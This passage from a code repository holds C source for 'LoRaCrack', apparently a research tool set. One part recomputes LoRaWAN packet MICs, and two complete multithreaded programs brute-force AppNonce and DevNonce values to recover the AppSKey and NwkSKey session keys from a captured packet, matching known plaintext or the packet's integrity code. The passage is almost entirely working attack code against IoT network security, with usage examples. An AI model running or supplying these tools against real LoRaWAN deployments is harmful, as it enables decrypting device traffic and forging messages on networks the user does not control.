CMAC_CTX_new(); 194 | 195 | unsigned char cmac_result[16]; 196 | size_t cmac_result_len; 197 | 198 | int msg_len = packet_len - 4; 199 | 200 | // Create B0 201 | char B0[16]; 202 | B0[0] = 0x49; 203 | B0[1] = 0x00; 204 | B0[2] = 0x00; 205 | B0[3] = 0x00; 206 | B0[4] = 0x00; 207 | B0[5] = Dir; 208 | B0[6] = (DevAddr >> (8*0)) & 0xff; 209 | B0[7] = (DevAddr >> (8*1)) & 0xff; 210 | B0[8] = (DevAddr >> (8*2)) & 0xff; 211 | B0[9] = (DevAddr >> (8*3)) & 0xff; 212 | B0[10] = (FCnt >> (8*0)) & 0xff; 213 | B0[11] = (FCnt >> (8*1)) & 0xff; 214 | B0[12] = 0x00; 215 | B0[13] = 0x00; 216 | B0[14] = 0x00; 217 | B0[15] = msg_len; 218 | 219 | // Copy MIC data 220 | int MIC_data_len = 16 + msg_len; 221 | char *MIC_data = malloc(MIC_data_len+1); 222 | memcpy(MIC_data, B0, 16); 223 | memcpy(MIC_data+16, packet, msg_len); 224 | 225 | // Recalculate MIC 226 | CMAC_Init(ctx_aes128_cmac, NwkSKey, 16, EVP_aes_128_cbc(), NULL); 227 | CMAC_Update(ctx_aes128_cmac, MIC_data, MIC_data_len); 228 | CMAC_Final(ctx_aes128_cmac, cmac_result, &cmac_result_len); 229 | 230 | // Write new MIC 231 | packet[packet_len - 4] = cmac_result[0]; 232 | packet[packet_len - 3] = cmac_result[1]; 233 | packet[packet_len - 2] = cmac_result[2]; 234 | packet[packet_len - 1] = cmac_result[3]; 235 | 236 | // Print new packet 237 | printBytes(packet, packet_len); 238 | printf("\n"); 239 | 240 | return 0; 241 | } 242 | 243 | 244 | 245 | -------------------------------------------------------------------------------- /loracrack_knownpt.c: -------------------------------------------------------------------------------- 1 | /* 2 | Sipke Mellema 3 | AR '19 4 | */ 5 | 6 | 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #include "headers/loracrack.h" 15 | 16 | 17 | #define MType_UP 0 // uplink 18 | #define MType_DOWN 1 // downlink 19 | 20 | 21 | 22 | int verbose = 0; 23 | 24 | // Variables shared among threads 25 | volatile bool cracked = false; 26 | pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; 27 | 28 | // Global variables 29 | unsigned char *AppKey; 30 | unsigned char *packet; 31 | unsigned char *plain_text; 32 | unsigned char first_block_encrypted[16]; 33 | unsigned char A_1[16]; 34 | 35 | size_t plain_text_len = 0; 36 | 37 | 38 | int main (int argc, char **argv) 39 | { 40 | char *AppKey_hex = NULL, *packet_hex= NULL, *plain_text_hex = NULL; 41 | 42 | // Set number of threads 43 | // Intel(R) Core(TM) i5-7360U 44 | // See https://ark.intel.com/products/97535/Intel-Core-i5-7360U-Processor-4M-Cache-up-to-3-60-GHz- 45 | unsigned int n_threads = 4; 46 | 47 | // Set max App Nonce (<=16777216) 48 | unsigned int max_AppNonce = 16777216/10000; 49 | 50 | // Process args 51 | int c; 52 | while ((c = getopt (argc, argv, "v:p:k:t:d:m:")) != -1) 53 | { 54 | switch (c) 55 | { 56 | case 'k': 57 | AppKey_hex = optarg; 58 | break; 59 | case 'p': 60 | packet_hex = optarg; 61 | break; 62 | case 'd': 63 | plain_text_hex = optarg; 64 | break; 65 | case 'v': 66 | verbose = atoi(optarg); 67 | break; 68 | case 't': 69 | n_threads = atoi(optarg); 70 | break; 71 | case 'm': 72 | max_AppNonce = atoi(optarg); 73 | break; 74 | } 75 | } 76 | if (AppKey_hex == NULL || packet_hex == NULL) 77 | error_die("Usage: \ 78 | \n\t./loracrack_knownpt -k -p -d \ 79 | \nExample: \ 80 | \n\t./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332\n"); 81 | 82 | // Validate input - General 83 | validate_hex_input(AppKey_hex); 84 | validate_hex_input(packet_hex); 85 | validate_hex_input(plain_text_hex); 86 | 87 | // Store data length 88 | size_t AppKey_len = strlen(AppKey_hex) / 2; 89 | size_t packet_len = strlen(packet_hex) / 2; 90 | plain_text_len = strlen(plain_text_hex) / 2; 91 | 92 | // Validate input - Specific 93 | if (AppKey_len != 16) 94 | error_die("AppKey must be 16 bytes"); 95 | if (packet_len <= 13) 96 | error_die("Packet data too small"); 97 | 98 | // Convert to binary 99 | AppKey = hexstr_to_char(AppKey_hex); 100 | packet = hexstr_to_char(packet_hex); 101 | plain_text = hexstr_to_char(plain_text_hex); 102 | 103 | // Parse packet - MACHeader 104 | char MHDR = packet[0]; 105 | int MType = bitExtracted(MHDR, 3, 6); // Byte 5-7 106 | 107 | if (MType < 2 || MType > 5) 108 | error_die("Packet not of type Data Up or Data Down"); 109 | 110 | // Parse packet - Direction 111 | char Dir = 0; 112 | if (MType == 2 || MType == 4) 113 | Dir = MType_UP; 114 | if (MType == 3 || MType == 5) 115 | Dir = MType_DOWN; 116 | 117 | // Parse packet - Device address 118 | unsigned int DevAddr = 0; 119 | memcpy(&DevAddr, packet+1, 4); 120 | 121 | // Parse packet - FOptsLen 122 | int FCtrl = packet[5]; 123 | int FOptsLen = bitExtracted(FCtrl, 4, 4); 124 | 125 | // Parse packet - FCnt 126 | short FCnt = 0; 127 | memcpy(&FCnt, packet+6, 2); 128 | 129 | // Skip FPort 130 | 131 | // Parse packet - FRMPayload 132 | size_t FRMPayload_index = 9 + FOptsLen; 133 | if (packet_len - 4 <= FRMPayload_index) 134 | error_die("No FRMPayload data"); 135 | 136 | size_t FRMPayload_len = (packet_len - 4) - FRMPayload_index; 137 | unsigned char *FRMPayload = malloc(FRMPayload_len); 138 | memcpy(FRMPayload, packet+FRMPayload_index, FRMPayload_len); 139 | 140 | // Copy first encrypted block 141 | memcpy(first_block_encrypted, FRMPayload, 16); 142 | 143 | // Create A_1 144 | A_1[0] = 0x01; 145 | A_1[1] = 0x00; 146 | A_1[2] = 0x00; 147 | A_1[3] = 0x00; 148 | A_1[4] = 0x00; 149 | A_1[5] = Dir; 150 | A_1[6] = (DevAddr >> (8*0)) & 0xff; 151 | A_1[7] = (DevAddr >> (8*1)) & 0xff; 152 | A_1[8] = (DevAddr >> (8*2)) & 0xff; 153 | A_1[9] = (DevAddr >> (8*3)) & 0xff; 154 | A_1[10] = (FCnt >> (8*0)) & 0xff; 155 | A_1[11] = (FCnt >> (8*1)) & 0xff; 156 | A_1[12] = 0x00; 157 | A_1[13] = 0x00; 158 | A_1[14] = 0x00; 159 | A_1[15] = 0x01; // first block 160 | 161 | // Start cracking 162 | if (verbose) 163 | { 164 | printf("------. L o R a C r a c k - Known Plaintext Attack ------\n"); 165 | printf("\n\tBy Sipke Mellema '19\n\n"); 166 | 167 | printf("Cracking with AppKey: "); 168 | printBytes(AppKey, 16); 169 | 170 | printf("Finding plaintext: "); 171 | printBytes(plain_text, plain_text_len); 172 | } 173 | 174 | // devide all possible nonces among threads 175 | unsigned int per_thread = max_AppNonce / n_threads; 176 | 177 | pthread_t tids[n_threads]; 178 | 179 | if (verbose) 180 | printf("\n\nUsing %i threads, %i nonces per thread\n", n_threads, per_thread); 181 | 182 | unsigned long search_space = max_AppNonce * 0xffff; 183 | if (verbose) 184 | printf("max AppNonce = %u\nSearch space: %lu\n\n",max_AppNonce, search_space); 185 | 186 | // Create threads 187 | for (int i = 0; i < n_threads; i++) 188 | { 189 | struct thread_args *thread_args = (struct thread_args *)malloc(sizeof(struct thread_args)); 190 | 191 | thread_args->thread_ID = i; 192 | 193 | // Crack block size 194 | thread_args->AppNonce_start = i*per_thread; 195 | thread_args->AppNonce_end = (i*per_thread)+per_thread; 196 | 197 | // NetID zero for now 198 | thread_args->NetID_start = 0; 199 | // thread_args->NetID_end = 0; 200 | 201 | // Create thread 202 | pthread_t tid; 203 | pthread_create(&tid, NULL, loracrack_thread, (void *)thread_args); 204 | tids[i] = tid; 205 | } 206 | 207 | // Wait for threads to finish 208 | for (int i = 0; i < n_threads; i++) 209 | pthread_join(tids[i], NULL); 210 | 211 | return 0; 212 | } 213 | 214 | 215 | 216 | // Thread for for trying to crack certain ranges 217 | void *loracrack_thread(void *vargp) 218 | { 219 | // Cipher vars 220 | EVP_CIPHER_CTX ctx_aes128, ctx_aes128_buf, ctx_aes128_decrypt; 221 | 222 | // Output vars 223 | unsigned char AppSKey[16]; 224 | int outlen; 225 | 226 | unsigned int thread_ID = ((struct thread_args*)vargp)->thread_ID; 227 | 228 | // 3 byte integers 229 | unsigned int AppNonce_current = ((struct thread_args*)vargp)->AppNonce_start; 230 | unsigned int AppNonce_end = ((struct thread_args*)vargp)->AppNonce_end; 231 | 232 | unsigned int NetID_start = ((struct thread_args*)vargp)->NetID_start; 233 | // unsigned int NetID_end = ((struct thread_args*)vargp)->NetID_end; 234 | 235 | // 2 byte integer 236 | unsigned short DevNonce = 0; 237 | 238 | if (verbose) 239 | printf("Thread %i cracking from AppNonce %i to %i\n", thread_ID, AppNonce_current, AppNonce_end); 240 | 241 | // Init ciphers 242 | EVP_CIPHER_CTX_init(&ctx_aes128); 243 | EVP_CIPHER_CTX_init(&ctx_aes128_buf); 244 | EVP_CIPHER_CTX_init(&ctx_aes128_decrypt); 245 | 246 | // Session key generation buffer 247 | unsigned char message[16], decrypt_result[16]; 248 | memset(message, 0, 16); 249 | 250 | // Prepare message 251 | message[0] = 0x02; 252 | message[1] = (AppNonce_current >> (8*0)) & 0xff; 253 | message[2] = (AppNonce_current >> (8*1)) & 0xff; 254 | message[3] = (AppNonce_current >> (8*2)) & 0xff; 255 | message[4] = (NetID_start >> (8*0)) & 0xff; 256 | message[5] = (NetID_start >> (8*1)) & 0xff; 257 | message[6] = (NetID_start >> (8*2)) & 0xff; 258 | message[7] = (DevNonce >> (8*1)) & 0xff; // Reversed? 259 | message[8] = (DevNonce >> (8*0)) & 0xff; 260 | 261 | 262 | // Init aes context 263 | EVP_EncryptInit_ex(&ctx_aes128_buf, EVP_aes_128_ecb(), NULL, AppKey, NULL); 264 | 265 | // AppNonce_end is exclusive 266 | while (AppNonce_current < AppNonce_end && !cracked) 267 | { 268 | DevNonce = 0; 269 | 270 | if (verbose == 2) 271 | printf("Thread %i @ AppNonce %i\n", thread_ID, AppNonce_current); 272 | 273 | // Update AppNonce in message 274 | message[1] = (AppNonce_current >> (8*0)) & 0xff; 275 | message[2] = (AppNonce_current >> (8*1)) & 0xff; 276 | message[3] = (AppNonce_current >> (8*2)) & 0xff; 277 | 278 | while (DevNonce < 0xffff) 279 | { 280 | 281 | // Update DevNonce in message 282 | message[7] = (DevNonce >> (8*1)) & 0xff; // Reversed? 283 | message[8] = (DevNonce >> (8*0)) & 0xff; 284 | 285 | // Create session key 286 | memcpy(&ctx_aes128, &ctx_aes128_buf, sizeof(ctx_aes128_buf)); 287 | EVP_EncryptUpdate(&ctx_aes128, AppSKey, &outlen, message, 16); 288 | 289 | EVP_EncryptInit_ex(&ctx_aes128_decrypt, EVP_aes_128_ecb(), NULL, AppSKey, NULL); 290 | EVP_EncryptUpdate(&ctx_aes128_decrypt, decrypt_result, &outlen, A_1, 16); 291 | 292 | for (int o = 0;o < plain_text_len; o++) 293 | decrypt_result[o] ^= first_block_encrypted[o]; 294 | 295 | 296 | if (memcmp(decrypt_result, plain_text, plain_text_len) == 0) 297 | { 298 | 299 | // cracked is used by multiple threads 300 | pthread_mutex_lock(&mutex); 301 | cracked = true; 302 | pthread_mutex_unlock(&mutex); 303 | 304 | // Output cracked results 305 | if (verbose) 306 | printf("\nOh dear lawd it's the same\n\n"); 307 | 308 | if (verbose) 309 | printf("AppSKey,"); 310 | 311 | printBytes(AppSKey, 16); 312 | printf(" "); 313 | 314 | message[0] = 0x01; 315 | EVP_EncryptInit_ex(&ctx_aes128, EVP_aes_128_ecb(), NULL, AppKey, NULL); 316 | EVP_EncryptUpdate(&ctx_aes128, AppSKey, &outlen, message, 16); 317 | 318 | if (verbose) 319 | printf("\nNwkSKey,"); 320 | printBytes(AppSKey, 16); 321 | 322 | if (verbose) 323 | { 324 | printf("\nAppNonce,%x\n", AppNonce_current); 325 | printf("DevNonce,%x\n", DevNonce); 326 | } 327 | printf("\n"); 328 | 329 | // Clean aes data 330 | EVP_CIPHER_CTX_cleanup(&ctx_aes128); 331 | 332 | break; 333 | } 334 | DevNonce += 1; 335 | 336 | } 337 | AppNonce_current += 1; 338 | } 339 | 340 | return NULL; 341 | } 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | -------------------------------------------------------------------------------- /loracrack.c: -------------------------------------------------------------------------------- 1 | /* 2 | Sipke Mellema 3 | AR '19 4 | */ 5 | 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | 14 | #include "headers/loracrack.h" 15 | 16 | 17 | #define MType_UP 0 // uplink 18 | #define MType_DOWN 1 // downlink 19 | 20 | 21 | 22 | int verbose = 0; 23 | 24 | // Variables shared among threads 25 | volatile bool cracked = false; 26 | pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; 27 | 28 | // Global variables 29 | unsigned char *AppKey; 30 | unsigned char *packet; 31 | unsigned char MIC[4]; 32 | unsigned char *MIC_data; 33 | 34 | size_t MIC_data_len = 0; 35 | 36 | 37 | int main (int argc, char **argv) 38 | { 39 | char *AppKey_hex = NULL, *packet_hex= NULL; 40 | 41 | // Set number of threads 42 | // Intel(R) Core(TM) i5-7360U 43 | // See https://ark.intel.com/products/97535/Intel-Core-i5-7360U-Processor-4M-Cache-up-to-3-60-GHz- 44 | unsigned int n_threads = 4; 45 | 46 | // Set max App Nonce (<=16777216) 47 | unsigned int max_AppNonce = 16777216/10000; 48 | 49 | // Process args 50 | int c; 51 | while ((c = getopt (argc, argv, "v:p:k:t:m:")) != -1) 52 | { 53 | switch (c) 54 | { 55 | case 'k': 56 | AppKey_hex = optarg; 57 | break; 58 | case 'p': 59 | packet_hex = optarg; 60 | break; 61 | case 'v': 62 | verbose = atoi(optarg); 63 | break; 64 | case 't': 65 | n_threads = atoi(optarg); 66 | break; 67 | case 'm': 68 | max_AppNonce = atoi(optarg); 69 | break; 70 | } 71 | } 72 | if (AppKey_hex == NULL || packet_hex == NULL) 73 | error_die("Usage: \ 74 | \n\t./loracrack -k -p \ 75 | \nExample: \ 76 | \n\t./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 \n"); 77 | 78 | // Validate input - General 79 | validate_hex_input(AppKey_hex); 80 | validate_hex_input(packet_hex); 81 | 82 | // Store data length 83 | size_t AppKey_len = strlen(AppKey_hex) / 2; 84 | size_t packet_len = strlen(packet_hex) / 2; 85 | 86 | // Validate input - Specific 87 | if (AppKey_len != 16) 88 | error_die("AppKey must be 16 bytes"); 89 | if (packet_len <= 13) 90 | error_die("Packet data too small"); 91 | 92 | // Convert to binary 93 | AppKey = hexstr_to_char(AppKey_hex); 94 | packet = hexstr_to_char(packet_hex); 95 | 96 | // Parse packet - MACHeader 97 | char MHDR = packet[0]; 98 | int MType = bitExtracted(MHDR, 3, 6); // Byte 5-7 99 | 100 | if (MType < 2 || MType > 5) 101 | error_die("Packet not of type Data Up or Data Down"); 102 | 103 | // Parse packet - Direction 104 | char Dir = 0; 105 | if (MType == 2 || MType == 4) 106 | Dir = MType_UP; 107 | if (MType == 3 || MType == 5) 108 | Dir = MType_DOWN; 109 | 110 | // Parse packet - Device address 111 | unsigned int DevAddr = 0; 112 | memcpy(&DevAddr, packet+1, 4); 113 | 114 | // Parse packet - FOptsLen 115 | int FCtrl = packet[5]; 116 | int FOptsLen = bitExtracted(FCtrl, 4, 4); 117 | 118 | // Parse packet - FCnt 119 | short FCnt = 0; 120 | memcpy(&FCnt, packet+6, 2); 121 | 122 | // Skip FPort 123 | 124 | // Parse packet - FRMPayload 125 | size_t FRMPayload_index = 9 + FOptsLen; 126 | if (packet_len - 4 <= FRMPayload_index) 127 | error_die("No FRMPayload data"); 128 | 129 | size_t FRMPayload_len = (packet_len - 4) - FRMPayload_index; 130 | unsigned char *FRMPayload = malloc(FRMPayload_len); 131 | memcpy(FRMPayload, packet+FRMPayload_index, FRMPayload_len); 132 | 133 | // Parse MIC data 134 | 135 | int msg_len = packet_len - 4; 136 | 137 | // Create B0 138 | char B0[16]; 139 | B0[0] = 0x49; 140 | B0[1] = 0x00; 141 | B0[2] = 0x00; 142 | B0[3] = 0x00; 143 | B0[4] = 0x00; 144 | B0[5] = Dir; 145 | B0[6] = (DevAddr >> (8*0)) & 0xff; 146 | B0[7] = (DevAddr >> (8*1)) & 0xff; 147 | B0[8] = (DevAddr >> (8*2)) & 0xff; 148 | B0[9] = (DevAddr >> (8*3)) & 0xff; 149 | B0[10] = (FCnt >> (8*0)) & 0xff; 150 | B0[11] = (FCnt >> (8*1)) & 0xff; 151 | B0[12] = 0x00; 152 | B0[13] = 0x00; 153 | B0[14] = 0x00; 154 | B0[15] = msg_len; 155 | 156 | // Copy MIC data 157 | MIC_data_len = 16 + msg_len; 158 | MIC_data = malloc(MIC_data_len+1); 159 | memcpy(MIC_data, B0, 16); 160 | memcpy(MIC_data+16, packet, msg_len); 161 | 162 | // Copy MIC 163 | MIC[0] = *(packet + (packet_len - 4)); 164 | MIC[1] = *(packet + (packet_len - 3)); 165 | MIC[2] = *(packet + (packet_len - 2)); 166 | MIC[3] = *(packet + (packet_len - 1)); 167 | 168 | // Start cracking 169 | if (verbose) 170 | { 171 | printf("------. L o R a C r a c k ------\n"); 172 | printf("\n\tBy Sipke Mellema '19\n\n"); 173 | 174 | printf("Cracking with AppKey:\t"); 175 | printBytes(AppKey, 16); 176 | 177 | printf("\nTrying to find MIC:\t"); 178 | printBytes(MIC, 4); 179 | } 180 | 181 | // devide all possible nonces among threads 182 | unsigned int per_thread = max_AppNonce / n_threads; 183 | 184 | pthread_t tids[n_threads]; 185 | 186 | if (verbose) 187 | printf("\n\nUsing %i threads, %i nonces per thread\n", n_threads, per_thread); 188 | 189 | unsigned long search_space = max_AppNonce * 0xffff; 190 | if (verbose) 191 | printf("max AppNonce = %u\nSearch space: %lu\n\n",max_AppNonce, search_space); 192 | 193 | // Create threads 194 | for (int i = 0; i < n_threads; i++) 195 | { 196 | struct thread_args *thread_args = (struct thread_args *)malloc(sizeof(struct thread_args)); 197 | 198 | thread_args->thread_ID = i; 199 | 200 | // Crack block size 201 | thread_args->AppNonce_start = i*per_thread; 202 | thread_args->AppNonce_end = (i*per_thread)+per_thread; 203 | 204 | // NetID zero for now 205 | thread_args->NetID_start = 0; 206 | // thread_args->NetID_end = 0; 207 | 208 | // Create thread 209 | pthread_t tid; 210 | pthread_create(&tid, NULL, loracrack_thread, (void *)thread_args); 211 | tids[i] = tid; 212 | } 213 | 214 | // Wait for threads to finish 215 | for (int i = 0; i < n_threads; i++) 216 | pthread_join(tids[i], NULL); 217 | 218 | return 0; 219 | } 220 | 221 | 222 | // Thread for for trying to crack certain ranges 223 | void *loracrack_thread(void *vargp) 224 | { 225 | 226 | // Cipher vars 227 | EVP_CIPHER_CTX ctx_aes128, ctx_aes128_buf; 228 | CMAC_CTX *ctx_aes128_cmac; 229 | 230 | // Output vars 231 | unsigned char NwkSKey[16]; 232 | unsigned char cmac_result[16]; 233 | size_t cmac_result_len; 234 | int outlen; 235 | 236 | unsigned int thread_ID = ((struct thread_args*)vargp)->thread_ID; 237 | 238 | // 3 byte integers 239 | unsigned int AppNonce_current = ((struct thread_args*)vargp)->AppNonce_start; 240 | unsigned int AppNonce_end = ((struct thread_args*)vargp)->AppNonce_end; 241 | 242 | // NetID not yet implemented 243 | unsigned int NetID_start = ((struct thread_args*)vargp)->NetID_start; 244 | // unsigned int NetID_end = ((struct thread_args*)vargp)->NetID_end; 245 | 246 | // 2 byte integer 247 | unsigned short DevNonce = 0; 248 | 249 | if (verbose) 250 | printf("Thread %i cracking from AppNonce %i to %i\n", thread_ID, AppNonce_current, AppNonce_end); 251 | 252 | // Init ciphers 253 | EVP_CIPHER_CTX_init(&ctx_aes128); 254 | EVP_CIPHER_CTX_init(&ctx_aes128_buf); 255 | ctx_aes128_cmac = CMAC_CTX_new(); 256 | 257 | // Session key generation buffer 258 | unsigned char message[16]; 259 | memset(message, 0, 16); 260 | 261 | // NwkSKey = aes128_encrypt(AppKey, 0x01 | AppNonce | NetID | DevNonce | pad16) 262 | message[0] = 0x01; 263 | // https://stackoverflow.com/questions/7787423/c-get-nth-byte-of-integer 264 | message[1] = (AppNonce_current >> (8*0)) & 0xff; 265 | message[2] = (AppNonce_current >> (8*1)) & 0xff; 266 | message[3] = (AppNonce_current >> (8*2)) & 0xff; 267 | message[4] = (NetID_start >> (8*0)) & 0xff; 268 | message[5] = (NetID_start >> (8*1)) & 0xff; 269 | message[6] = (NetID_start >> (8*2)) & 0xff; 270 | message[7] = (DevNonce >> (8*1)) & 0xff; // Reversed? 271 | message[8] = (DevNonce >> (8*0)) & 0xff; 272 | 273 | EVP_EncryptInit_ex(&ctx_aes128_buf, EVP_aes_128_ecb(), NULL, AppKey, NULL); 274 | 275 | // AppNonce_end is exclusive 276 | while (AppNonce_current < AppNonce_end && !cracked) 277 | { 278 | DevNonce = 0; 279 | 280 | if (verbose == 2) 281 | printf("Thread %i @ AppNonce %i\n", thread_ID, AppNonce_current); 282 | 283 | // Update AppNonce in message 284 | message[1] = (AppNonce_current >> (8*0)) & 0xff; 285 | message[2] = (AppNonce_current >> (8*1)) & 0xff; 286 | message[3] = (AppNonce_current >> (8*2)) & 0xff; 287 | 288 | while (DevNonce < 0xffff) 289 | { 290 | 291 | // Update DevNonce in message 292 | message[7] = (DevNonce >> (8*1)) & 0xff; // Reversed? 293 | message[8] = (DevNonce >> (8*0)) & 0xff; 294 | 295 | // NwkSKey = aes128_ecb(AppKey, message) 296 | // copy init state instead of calling EVP_EncryptInit_ex every time 297 | memcpy(&ctx_aes128, &ctx_aes128_buf, sizeof(ctx_aes128_buf)); 298 | EVP_EncryptUpdate(&ctx_aes128, NwkSKey, &outlen, message, 16); 299 | 300 | // MIC = aes128_cmac(NwkSKey, MIC_data) 301 | CMAC_Init(ctx_aes128_cmac, NwkSKey, 16, EVP_aes_128_cbc(), NULL); 302 | CMAC_Update(ctx_aes128_cmac, MIC_data, MIC_data_len); 303 | CMAC_Final(ctx_aes128_cmac, cmac_result, &cmac_result_len); 304 | 305 | // Check if MIC matches MIC from packet 306 | if (memcmp(cmac_result, MIC, 4) == 0) 307 | { 308 | 309 | // cracked is used by multiple threads 310 | pthread_mutex_lock(&mutex); 311 | cracked = true; 312 | pthread_mutex_unlock(&mutex); 313 | 314 | // Output cracked results 315 | if (verbose) 316 | printf("\nOh dear lawd it's the same\n\n"); 317 | 318 | unsigned char AppSKey[16]; 319 | 320 | message[0] = 0x02; 321 | EVP_EncryptInit_ex(&ctx_aes128, EVP_aes_128_ecb(), NULL, AppKey, NULL); 322 | EVP_EncryptUpdate(&ctx_aes128, AppSKey, &outlen, message, 16); 323 | 324 | if (verbose) 325 | printf("\nAppSKey,"); 326 | printBytes(AppSKey, 16); 327 | 328 | printf(" "); 329 | 330 | if (verbose) 331 | printf("\nNwkSKey,"); 332 | printBytes(NwkSKey, 16); 333 | 334 | if (verbose) 335 | { 336 | printf("\nAppNonce,%x\n", AppNonce_current); 337 | printf("DevNonce,%x\n", DevNonce); 338 | } 339 | 340 | // Clean aes data 341 | EVP_CIPHER_CTX_cleanup(&ctx_aes128); 342 | CMAC_CTX_free(ctx_aes128_cmac); 343 | 344 | break; 345 | } 346 | 347 | DevNonce += 1; 348 | 349 | } 350 | AppNonce_current += 1; 351 | } 352 | 353 | return NULL; 354 | } 355 | --------------------------------------------------------------------------------